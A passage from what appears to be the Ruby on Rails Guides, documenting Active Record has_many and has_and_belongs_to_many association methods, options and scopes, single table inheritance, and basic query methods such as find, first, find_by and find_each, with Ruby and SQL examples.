                            book_number: "A12345")

@books = @author.books.build([
  { published_at: Time.now, book_number: "A12346" },
  { published_at: Time.now, book_number: "A12347" }
])

4.3.1.15 collection.create(attributes = {})

The collection.create method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object will be saved.

  @book = @author.books.create(published_at: Time.now,
                             book_number: "A12345")

@books = @author.books.create([
  { published_at: Time.now, book_number: "A12346" },
  { published_at: Time.now, book_number: "A12347" }
])

4.3.1.16 collection.create!(attributes = {})

Does the same as collection.create above, but raises ActiveRecord::RecordInvalid if the record is invalid.

4.3.1.17 collection.reload

The collection.reload method returns a Relation of all of the associated objects, forcing a database read. If there are no associated objects, it returns an empty Relation.

  @books = @author.books.reload

4.3.2 Options for has_many

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the has_many association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:

  class Author < ApplicationRecord
  has_many :books, dependent: :delete_all, validate: false
end

The has_many association supports these options:

:as

:autosave

:class_name

:counter_cache

:dependent

:foreign_key

:inverse_of

:primary_key

:source

:source_type

:through

:validate

4.3.2.1 :as

Setting the :as option indicates that this is a polymorphic association, as discussed earlier in this guide.

4.3.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting :autosave to false is not the same as not setting the :autosave option. If the :autosave option is not present, then new associated objects will be saved, but updated associated objects will not be saved.

4.3.2.3 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if an author has many books, but the actual name of the model containing books is Transaction, you'd set things up this way:

  class Author < ApplicationRecord
  has_many :books, class_name: "Transaction"
end

4.3.2.4 :counter_cache

This option can be used to configure a custom named :counter_cache. You only need this option when you customized the name of your :counter_cache on the belongs_to association.

4.3.2.5 :dependent

Controls what happens to the associated objects when their owner is destroyed:

:destroy causes all the associated objects to also be destroyed

:delete_all causes all the associated objects to be deleted directly from the database (so callbacks will not execute)

:destroy_async: when the object is destroyed, an ActiveRecord::DestroyAssociationAsyncJob job is enqueued which will call destroy on its associated objects. Active Job must be set up for this to work.

:nullify causes the foreign key to be set to NULL. Polymorphic type column is also nullified on polymorphic associations. Callbacks are not executed.

:restrict_with_exception causes an ActiveRecord::DeleteRestrictionError exception to be raised if there are any associated records

:restrict_with_error causes an error to be added to the owner if there are any associated objects

The :destroy and :delete_all options also affect the semantics of the collection.delete and collection= methods by causing them to destroy associated objects when they are removed from the collection.

4.3.2.6 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

  class Author < ApplicationRecord
  has_many :books, foreign_key: "cust_id"
end

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.3.2.7 :inverse_of

The :inverse_of option specifies the name of the belongs_to association that is the inverse of this association.

  class Author < ApplicationRecord
  has_many :books, inverse_of: :author
end

class Book < ApplicationRecord
  belongs_to :author, inverse_of: :books
end

4.3.2.8 :primary_key

By convention, Rails assumes that the column used to hold the primary key of the association is id. You can override this and explicitly specify the primary key with the :primary_key option.

Let's say the users table has id as the primary_key but it also has a guid column. The requirement is that the todos table should hold the guid column value as the foreign key and not id value. This can be achieved like this:

  class User < ApplicationRecord
  has_many :todos, primary_key: :guid
end

Now if we execute @todo = @user.todos.create then the @todo record's user_id value will be the guid value of @user.

4.3.2.9 :source

The :source option specifies the source association name for a has_many :through association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.

4.3.2.10 :source_type

The :source_type option specifies the source association type for a has_many :through association that proceeds through a polymorphic association.

  class Author < ApplicationRecord
  has_many :books
  has_many :paperbacks, through: :books, source: :format, source_type: "Paperback"
end

class Book < ApplicationRecord
  belongs_to :format, polymorphic: true
end

class Hardback < ApplicationRecord; end
class Paperback < ApplicationRecord; end

4.3.2.11 :through

The :through option specifies a join model through which to perform the query. has_many :through associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.

4.3.2.12 :validate

If you set the :validate option to false, then new associated objects will not be validated whenever you save this object. By default, this is true: new associated objects will be validated when this object is saved.

4.3.3 Scopes for has_many

There may be times when you wish to customize the query used by has_many. Such customizations can be achieved via a scope block. For example:

  class Author < ApplicationRecord
  has_many :books, -> { where processed: true }
end

You can use any of the standard querying methods inside the scope block. The following ones are discussed below:

where

extending

group

includes

limit

offset

order

readonly

select

distinct

4.3.3.1 where

The where method lets you specify the conditions that the associated object must meet.

  class Author < ApplicationRecord
  has_many :confirmed_books, -> { where "confirmed = 1" },
    class_name: "Book"
end

You can also set conditions via a hash:

  class Author < ApplicationRecord
  has_many :confirmed_books, -> { where confirmed: true },
    class_name: "Book"
end

If you use a hash-style where option, then record creation via this association will be automatically scoped using the hash. In this case, using @author.confirmed_books.create or @author.confirmed_books.build will create books where the confirmed column has the value true.

4.3.3.2 extending

The extending method specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

4.3.3.3 group

The group method supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

  class Author < ApplicationRecord
  has_many :chapters, -> { group 'books.id' },
                      through: :books
end

4.3.3.4 includes

You can use the includes method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

  class Author < ApplicationRecord
  has_many :books
end

class Book < ApplicationRecord
  belongs_to :author
  has_many :chapters
end

class Chapter < ApplicationRecord
  belongs_to :book
end

If you frequently retrieve chapters directly from authors (@author.books.chapters), then you can make your code somewhat more efficient by including chapters in the association from authors to books:

  class Author < ApplicationRecord
  has_many :books, -> { includes :chapters }
end

class Book < ApplicationRecord
  belongs_to :author
  has_many :chapters
end

class Chapter < ApplicationRecord
  belongs_to :book
end

4.3.3.5 limit

The limit method lets you restrict the total number of objects that will be fetched through an association.

  class Author < ApplicationRecord
  has_many :recent_books,
    -> { order('published_at desc').limit(100) },
    class_name: "Book"
end

4.3.3.6 offset

The offset method lets you specify the starting offset for fetching objects via an association. For example, -> { offset(11) } will skip the first 11 records.

4.3.3.7 order

The order method dictates the order in which associated objects will be received (in the syntax used by an SQL ORDER BY clause).

  class Author < ApplicationRecord
  has_many :books, -> { order "date_confirmed DESC" }
end

4.3.3.8 readonly

If you use the readonly method, then the associated objects will be read-only when retrieved via the association.

4.3.3.9 select

The select method lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

If you specify your own select, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.

4.3.3.10 distinct

Use the distinct method to keep the collection free of duplicates. This is mostly useful together with the :through option.

  class Person < ApplicationRecord
  has_many :readings
  has_many :articles, through: :readings
end

  irb> person = Person.create(name: 'John')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
irb> person.articles.to_a
=> [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
irb> Reading.all.to_a
=> [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]

In the above case there are two readings and person.articles brings out both of them even though these records are pointing to the same article.

Now let's set distinct:

  class Person
  has_many :readings
  has_many :articles, -> { distinct }, through: :readings
end

  irb> person = Person.create(name: 'Honda')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
irb> person.articles.to_a
=> [#<Article id: 7, name: "a1">]
irb> Reading.all.to_a
=> [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]

In the above case there are still two readings. However person.articles shows only one article because the collection loads only unique records.

If you want to make sure that, upon insertion, all of the records in the persisted association are distinct (so that you can be sure that when you inspect the association that you will never find duplicate records), you should add a unique index on the table itself. For example, if you have a table named readings and you want to make sure the articles can only be added to a person once, you could add the following in a migration:

  add_index :readings, [:person_id, :article_id], unique: true

Once you have this unique index, attempting to add the article to a person twice will raise an ActiveRecord::RecordNotUnique error:

  irb> person = Person.create(name: 'Honda')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
ActiveRecord::RecordNotUnique

Note that checking for uniqueness using something like include? is subject to race conditions. Do not attempt to use include? to enforce distinctness in an association. For instance, using the article example from above, the following code would be racy because multiple users could be attempting this at the same time:

  person.articles << article unless person.articles.include?(article)

4.3.4 When are Objects Saved?

When you assign an object to a has_many association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

If the parent object (the one declaring the has_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

If you want to assign an object to a has_many association without saving the object, use the collection.build method.

4.4 has_and_belongs_to_many Association Reference

The has_and_belongs_to_many association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.

4.4.1 Methods Added by has_and_belongs_to_many

When you declare a has_and_belongs_to_many association, the declaring class automatically gains several methods related to the association:

collection

collection<<(object, ...)

collection.delete(object, ...)

collection.destroy(object, ...)

collection=(objects)

collection_singular_ids

collection_singular_ids=(ids)

collection.clear

collection.empty?

collection.size

collection.find(...)

collection.where(...)

collection.exists?(...)

collection.build(attributes = {})

collection.create(attributes = {})

collection.create!(attributes = {})

collection.reload

In all of these methods, collection is replaced with the symbol passed as the first argument to has_and_belongs_to_many, and collection_singular is replaced with the singularized version of that symbol. For example, given the declaration:

  class Part < ApplicationRecord
  has_and_belongs_to_many :assemblies
end

Each instance of the Part model will have these methods:

  assemblies
assemblies<<(object, ...)
assemblies.delete(object, ...)
assemblies.destroy(object, ...)
assemblies=(objects)
assembly_ids
assembly_ids=(ids)
assemblies.clear
assemblies.empty?
assemblies.size
assemblies.find(...)
assemblies.where(...)
assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
assemblies.create!(attributes = {})
assemblies.reload

4.4.1.1 Additional Column Methods

If the join table for a has_and_belongs_to_many association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.

The use of extra attributes on the join table in a has_and_belongs_to_many association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a has_many :through association instead of has_and_belongs_to_many.

4.4.1.2 collection

The collection method returns a Relation of all of the associated objects. If there are no associated objects, it returns an empty Relation.

  @assemblies = @part.assemblies

4.4.1.3 collection<<(object, ...)

The collection<< method adds one or more objects to the collection by creating records in the join table.

  @part.assemblies << @assembly1

This method is aliased as collection.concat and collection.push.

4.4.1.4 collection.delete(object, ...)

The collection.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

  @part.assemblies.delete(@assembly1)

4.4.1.5 collection.destroy(object, ...)

The collection.destroy method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

  @part.assemblies.destroy(@assembly1)

4.4.1.6 collection=(objects)

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database.

4.4.1.7 collection_singular_ids

The collection_singular_ids method returns an array of the ids of the objects in the collection.

  @assembly_ids = @part.assembly_ids

4.4.1.8 collection_singular_ids=(ids)

The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database.

4.4.1.9 collection.clear

The collection.clear method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.

4.4.1.10 collection.empty?

The collection.empty? method returns true if the collection does not contain any associated objects.

  <% if @part.assemblies.empty? %>
  This part is not used in any assemblies
<% end %>

4.4.1.11 collection.size

The collection.size method returns the number of objects in the collection.

  @assembly_count = @part.assemblies.size

4.4.1.12 collection.find(...)

The collection.find method finds objects within the collection's table.

  @assembly = @part.assemblies.find(1)

4.4.1.13 collection.where(...)

The collection.where method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.

  @new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)

4.4.1.14 collection.exists?(...)

The collection.exists? method checks whether an object meeting the supplied conditions exists in the collection's table.

4.4.1.15 collection.build(attributes = {})

The collection.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will not yet be saved.

  @assembly = @part.assemblies.build({assembly_name: "Transmission housing"})

4.4.1.16 collection.create(attributes = {})

The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object will be saved.

  @assembly = @part.assemblies.create({assembly_name: "Transmission housing"})

4.4.1.17 collection.create!(attributes = {})

Does the same as collection.create, but raises ActiveRecord::RecordInvalid if the record is invalid.

4.4.1.18 collection.reload

The collection.reload method returns a Relation of all of the associated objects, forcing a database read. If there are no associated objects, it returns an empty Relation.

  @assemblies = @part.assemblies.reload

4.4.2 Options for has_and_belongs_to_many

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the has_and_belongs_to_many association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:

  class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies, -> { readonly },
                                       autosave: true
end

The has_and_belongs_to_many association supports these options:

:association_foreign_key

:autosave

:class_name

:foreign_key

:join_table

:validate

4.4.2.1 :association_foreign_key

By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix _id added. The :association_foreign_key option lets you set the name of the foreign key directly:

The :foreign_key and :association_foreign_key options are useful when setting up a many-to-many self-join. For example:

  class User < ApplicationRecord
  has_and_belongs_to_many :friends,
      class_name: "User",
      foreign_key: "this_user_id",
      association_foreign_key: "other_user_id"
end

4.4.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting :autosave to false is not the same as not setting the :autosave option. If the :autosave option is not present, then new associated objects will be saved, but updated associated objects will not be saved.

4.4.2.3 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is Gadget, you'd set things up this way:

  class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies, class_name: "Gadget"
end

4.4.2.4 :foreign_key

By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

  class User < ApplicationRecord
  has_and_belongs_to_many :friends,
      class_name: "User",
      foreign_key: "this_user_id",
      association_foreign_key: "other_user_id"
end

4.4.2.5 :join_table

If the default name of the join table, based on lexical ordering, is not what you want, you can use the :join_table option to override the default.

4.4.2.6 :validate

If you set the :validate option to false, then new associated objects will not be validated whenever you save this object. By default, this is true: new associated objects will be validated when this object is saved.

4.4.3 Scopes for has_and_belongs_to_many

There may be times when you wish to customize the query used by has_and_belongs_to_many. Such customizations can be achieved via a scope block. For example:

  class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies, -> { where active: true }
end

You can use any of the standard querying methods inside the scope block. The following ones are discussed below:

where

extending

group

includes

limit

offset

order

readonly

select

distinct

4.4.3.1 where

The where method lets you specify the conditions that the associated object must meet.

  class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies,
    -> { where "factory = 'Seattle'" }
end

You can also set conditions via a hash:

  class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies,
    -> { where factory: 'Seattle' }
end

If you use a hash-style where, then record creation via this association will be automatically scoped using the hash. In this case, using @parts.assemblies.create or @parts.assemblies.build will create orders where the factory column has the value "Seattle".

4.4.3.2 extending

The extending method specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

4.4.3.3 group

The group method supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

  class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies, -> { group "factory" }
end

4.4.3.4 includes

You can use the includes method to specify second-order associations that should be eager-loaded when this association is used.

4.4.3.5 limit

The limit method lets you restrict the total number of objects that will be fetched through an association.

  class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies,
    -> { order("created_at DESC").limit(50) }
end

4.4.3.6 offset

The offset method lets you specify the starting offset for fetching objects via an association. For example, if you set offset(11), it will skip the first 11 records.

4.4.3.7 order

The order method dictates the order in which associated objects will be received (in the syntax used by an SQL ORDER BY clause).

  class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies,
    -> { order "assembly_name ASC" }
end

4.4.3.8 readonly

If you use the readonly method, then the associated objects will be read-only when retrieved via the association.

4.4.3.9 select

The select method lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

4.4.3.10 distinct

Use the distinct method to remove duplicates from the collection.

4.4.4 When are Objects Saved?

When you assign an object to a has_and_belongs_to_many association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

If the parent object (the one declaring the has_and_belongs_to_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

If you want to assign an object to a has_and_belongs_to_many association without saving the object, use the collection.build method.

4.5 Association Callbacks

Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a :before_save callback to cause something to happen just before an object is saved.

Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:

before_add

after_add

before_remove

after_remove

You define association callbacks by adding options to the association declaration. For example:

  class Author < ApplicationRecord
  has_many :books, before_add: :check_credit_limit

  def check_credit_limit(book)
    # ...
  end
end

Rails passes the object being added or removed to the callback.

You can stack callbacks on a single event by passing them as an array:

  class Author < ApplicationRecord
  has_many :books,
    before_add: [:check_credit_limit, :calculate_shipping_charges]

  def check_credit_limit(book)
    # ...
  end

  def calculate_shipping_charges(book)
    # ...
  end
end

If a before_add callback throws :abort, the object does not get added to the collection. Similarly, if a before_remove callback throws :abort, the object does not get removed from the collection:

  # book won't be added if the limit has been reached
def check_credit_limit(book)
  throw(:abort) if limit_reached?
end

These callbacks are called only when the associated objects are added or removed through the association collection:

  # Triggers `before_add` callback
author.books << book
author.books = [book, book2]

# Does not trigger the `before_add` callback
book.update(author_id: 1)

4.6 Association Extensions

You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:

  class Author < ApplicationRecord
  has_many :books do
    def find_by_book_prefix(book_number)
      find_by(category_id: book_number[0..2])
    end
  end
end

If you have an extension that should be shared by many associations, you can use a named extension module. For example:

  module FindRecentExtension
  def find_recent
    where("created_at > ?", 5.days.ago)
  end
end

class Author < ApplicationRecord
  has_many :books, -> { extending FindRecentExtension }
end

class Supplier < ApplicationRecord
  has_many :deliveries, -> { extending FindRecentExtension }
end

Extensions can refer to the internals of the association proxy using these three attributes of the proxy_association accessor:

proxy_association.owner returns the object that the association is a part of.

proxy_association.reflection returns the reflection object that describes the association.

proxy_association.target returns the associated object for belongs_to or has_one, or the collection of associated objects for has_many or has_and_belongs_to_many.

5 Single Table Inheritance (STI)

Sometimes, you may want to share fields and behavior between different models. Let's say we have Car, Motorcycle, and Bicycle models. We will want to share the color and price fields and some methods for all of them, but having some specific behavior for each, and separated controllers too.

First, let's generate the base Vehicle model:

  $ bin/rails generate model vehicle type:string color:string price:decimal{10.2}

Did you note we are adding a "type" field? Since all models will be saved in a single database table, Rails will save in this column the name of the model that is being saved. In our example, this can be "Car", "Motorcycle" or "Bicycle." STI won't work without a "type" field in the table.

Next, we will generate the Car model that inherits from Vehicle. For this, we can use the --parent=PARENT option, which will generate a model that inherits from the specified parent and without equivalent migration (since the table already exists).

For example, to generate the Car model:

  $ bin/rails generate model car --parent=Vehicle

The generated model will look like this:

  class Car < Vehicle
end

This means that all behavior added to Vehicle is available for Car too, as associations, public methods, etc.

Creating a car will save it in the vehicles table with "Car" as the type field:

  Car.create(color: 'Red', price: 10000)

will generate the following SQL:

  INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)

Querying car records will search only for vehicles that are cars:

  Car.all

will run a query like:

  SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')

Active Record Query Interface

This guide covers different ways to retrieve data from the database using Active Record.

After reading this guide, you will know:

How to find records using a variety of methods and conditions.

How to specify the order, retrieved attributes, grouping, and other properties of the found records.

How to use eager loading to reduce the number of database queries needed for data retrieval.

How to use dynamic finder methods.

How to use method chaining to use multiple Active Record methods together.

How to check for the existence of particular records.

How to perform various calculations on Active Record models.

How to run EXPLAIN on relations.

Chapters

What is the Active Record Query Interface?

Retrieving Objects from the Database

Retrieving a Single Object

Retrieving Multiple Objects in Batches

Conditions

Pure String Conditions

Array Conditions

Hash Conditions

NOT Conditions

OR Conditions

AND Conditions

Ordering

Selecting Specific Fields

Limit and Offset

Group

Total of Grouped Items

Having

Overriding Conditions

unscope

only

reselect

reorder

reverse_order

rewhere

Null Relation

Readonly Objects

Locking Records for Update

Optimistic Locking

Pessimistic Locking

Joining Tables

joins

left_outer_joins

Eager Loading Associations

includes

preload

eager_load

Scopes

Passing in Arguments

Using Conditionals

Applying a Default Scope

Merging of Scopes

Removing All Scoping

Dynamic Finders

Enums

Understanding Method Chaining

Retrieving Filtered Data from Multiple Tables

Retrieving Specific Data from Multiple Tables

Find or Build a New Object

find_or_create_by

find_or_create_by!

find_or_initialize_by

Finding by SQL

select_all

pluck

ids

Existence of Objects

Calculations

Count

Average

Minimum

Maximum

Sum

Running EXPLAIN

Interpreting EXPLAIN

1 What is the Active Record Query Interface?

If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.

Active Record will perform queries on the database for you and is compatible with most database systems, including MySQL, MariaDB, PostgreSQL, and SQLite. Regardless of which database system you're using, the Active Record method format will always be the same.

Code examples throughout this guide will refer to one or more of the following models:

All of the following models use id as the primary key, unless specified otherwise.

  class Author < ApplicationRecord
  has_many :books, -> { order(year_published: :desc) }
end

  class Book < ApplicationRecord
  belongs_to :supplier
  belongs_to :author
  has_many :reviews
  has_and_belongs_to_many :orders, join_table: 'books_orders'

  scope :in_print, -> { where(out_of_print: false) }
  scope :out_of_print, -> { where(out_of_print: true) }
  scope :old, -> { where(year_published: ...50.years.ago.year) }
  scope :out_of_print_and_expensive, -> { out_of_print.where('price > 500') }
  scope :costs_more_than, ->(amount) { where('price > ?', amount) }
end

  class Customer < ApplicationRecord
  has_many :orders
  has_many :reviews
end

  class Order < ApplicationRecord
  belongs_to :customer
  has_and_belongs_to_many :books, join_table: 'books_orders'

  enum :status, [:shipped, :being_packed, :complete, :cancelled]

  scope :created_before, ->(time) { where(created_at: ...time) }
end

  class Review < ApplicationRecord
  belongs_to :customer
  belongs_to :book

  enum :state, [:not_reviewed, :published, :hidden]
end

  class Supplier < ApplicationRecord
  has_many :books
  has_many :authors, through: :books
end

2 Retrieving Objects from the Database

To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.

The methods are:

annotate

find

create_with

distinct

eager_load

extending

extract_associated

from

group

having

includes

joins

left_outer_joins

limit

lock

none

offset

optimizer_hints

order

preload

readonly

references

reorder

reselect

reverse_order

select

where

Finder methods that return a collection, such as where and group, return an instance of ActiveRecord::Relation. Methods that find a single entity, such as find and first, return a single instance of the model.

The primary operation of Model.find(options) can be summarized as:

Convert the supplied options to an equivalent SQL query.

Fire the SQL query and retrieve the corresponding results from the database.

Instantiate the equivalent Ruby object of the appropriate model for every resulting row.

Run after_find and then after_initialize callbacks, if any.

2.1 Retrieving a Single Object

Active Record provides several different ways of retrieving a single object.

2.1.1 find

Using the find method, you can retrieve the object corresponding to the specified primary key that matches any supplied options. For example:

  # Find the customer with primary key (id) 10.
irb> customer = Customer.find(10)
=> #<Customer id: 10, first_name: "Ryan">

The SQL equivalent of the above is:

  SELECT * FROM customers WHERE (customers.id = 10) LIMIT 1

The find method will raise an ActiveRecord::RecordNotFound exception if no matching record is found.

You can also use this method to query for multiple objects. Call the find method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied primary keys. For example:

  # Find the customers with primary keys 1 and 10.
irb> customers = Customer.find([1, 10]) # OR Customer.find(1, 10)
=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 10, first_name: "Ryan">]

The SQL equivalent of the above is:

  SELECT * FROM customers WHERE (customers.id IN (1,10))

The find method will raise an ActiveRecord::RecordNotFound exception unless a matching record is found for all of the supplied primary keys.

2.1.2 take

The take method retrieves a record without any implicit ordering. For example:

  irb> customer = Customer.take
=> #<Customer id: 1, first_name: "Lifo">

The SQL equivalent of the above is:

  SELECT * FROM customers LIMIT 1

The take method returns nil if no record is found and no exception will be raised.

You can pass in a numerical argument to the take method to return up to that number of results. For example

  irb> customers = Customer.take(2)
=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 220, first_name: "Sara">]

The SQL equivalent of the above is:

  SELECT * FROM customers LIMIT 2

The take! method behaves exactly like take, except that it will raise ActiveRecord::RecordNotFound if no matching record is found.

The retrieved record may vary depending on the database engine.

2.1.3 first

The first method finds the first record ordered by primary key (default). For example:

  irb> customer = Customer.first
=> #<Customer id: 1, first_name: "Lifo">

The SQL equivalent of the above is:

  SELECT * FROM customers ORDER BY customers.id ASC LIMIT 1

The first method returns nil if no matching record is found and no exception will be raised.

If your default scope contains an order method, first will return the first record according to this ordering.

You can pass in a numerical argument to the first method to return up to that number of results. For example

  irb> customers = Customer.first(3)
=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 2, first_name: "Fifo">, #<Customer id: 3, first_name: "Filo">]

The SQL equivalent of the above is:

  SELECT * FROM customers ORDER BY customers.id ASC LIMIT 3

On a collection that is ordered using order, first will return the first record ordered by the specified attribute for order.

  irb> customer = Customer.order(:first_name).first
=> #<Customer id: 2, first_name: "Fifo">

The SQL equivalent of the above is:

  SELECT * FROM customers ORDER BY customers.first_name ASC LIMIT 1

The first! method behaves exactly like first, except that it will raise ActiveRecord::RecordNotFound if no matching record is found.

2.1.4 last

The last method finds the last record ordered by primary key (default). For example:

  irb> customer = Customer.last
=> #<Customer id: 221, first_name: "Russel">

The SQL equivalent of the above is:

  SELECT * FROM customers ORDER BY customers.id DESC LIMIT 1

The last method returns nil if no matching record is found and no exception will be raised.

If your default scope contains an order method, last will return the last record according to this ordering.

You can pass in a numerical argument to the last method to return up to that number of results. For example

  irb> customers = Customer.last(3)
=> [#<Customer id: 219, first_name: "James">, #<Customer id: 220, first_name: "Sara">, #<Customer id: 221, first_name: "Russel">]

The SQL equivalent of the above is:

  SELECT * FROM customers ORDER BY customers.id DESC LIMIT 3

On a collection that is ordered using order, last will return the last record ordered by the specified attribute for order.

  irb> customer = Customer.order(:first_name).last
=> #<Customer id: 220, first_name: "Sara">

The SQL equivalent of the above is:

  SELECT * FROM customers ORDER BY customers.first_name DESC LIMIT 1

The last! method behaves exactly like last, except that it will raise ActiveRecord::RecordNotFound if no matching record is found.

2.1.5 find_by

The find_by method finds the first record matching some conditions. For example:

  irb> Customer.find_by first_name: 'Lifo'
=> #<Customer id: 1, first_name: "Lifo">

irb> Customer.find_by first_name: 'Jon'
=> nil

It is equivalent to writing:

  Customer.where(first_name: 'Lifo').take

The SQL equivalent of the above is:

  SELECT * FROM customers WHERE (customers.first_name = 'Lifo') LIMIT 1

Note that there is no ORDER BY in the above SQL. If your find_by conditions can match multiple records, you should apply an order to guarantee a deterministic result.

The find_by! method behaves exactly like find_by, except that it will raise ActiveRecord::RecordNotFound if no matching record is found. For example:

  irb> Customer.find_by! first_name: 'does not exist'
ActiveRecord::RecordNotFound

This is equivalent to writing:

  Customer.where(first_name: 'does not exist').take!

2.2 Retrieving Multiple Objects in Batches

We often need to iterate over a large set of records, as when we send a newsletter to a large set of customers, or when we export data.

This may appear straightforward:

  # This may consume too much memory if the table is big.
Customer.all.each do |customer|
  NewsMailer.weekly(customer).deliver_now
end

But this approach becomes increasingly impractical as the table size increases, since Customer.all.each instructs Active Record to fetch the entire table in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.

Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, find_each, retrieves a batch of records and then yields each record to the block individually as a model. The second method, find_in_batches, retrieves a batch of records and then yields the entire batch to the block as an array of models.

The find_each and find_in_batches methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.

2.2.1 find_each

The find_each method retrieves records in batches and then yields each one to the block. In the following example, find_each retrieves customers in batches of 1000 and yields them to the block one by one:

  Customer.find_each do |customer|
  NewsMailer.weekly(customer).deliver_now
end

This process is repeated, fetching more batches as needed, until all of the records have been processed.

find_each works on model classes, as seen above, and also on relations:

  Customer.where(weekly_subscriber: true).find_each do |customer|
  NewsMailer.weekly(customer).deliver_now
end

as long as they have no ordering, since the method needs to force an order internally to iterate.

If an order is present in the receiver the behaviour depends on the flag config.active_record.error_on_ignored_order. If true, ArgumentError is raised, otherwise the order is ignored and a warning issued, which is the default. This can be overridden with the option :error_on_ignore, explained below.

2.2.1.1 Options for find_each

:batch_size

The :batch_size option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:

  Customer.find_each(batch_size: 5000) do |customer|
  NewsMailer.weekly(customer).deliver_now
end

:start

By default, records are fetched in ascending order of the primary key. The :start option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.

For example, to send newsletters only to customers with the primary key starting from 2000:

  Customer.find_each(start: 2000) do |customer|
  NewsMailer.weekly(customer).deliver_now
end

:finish

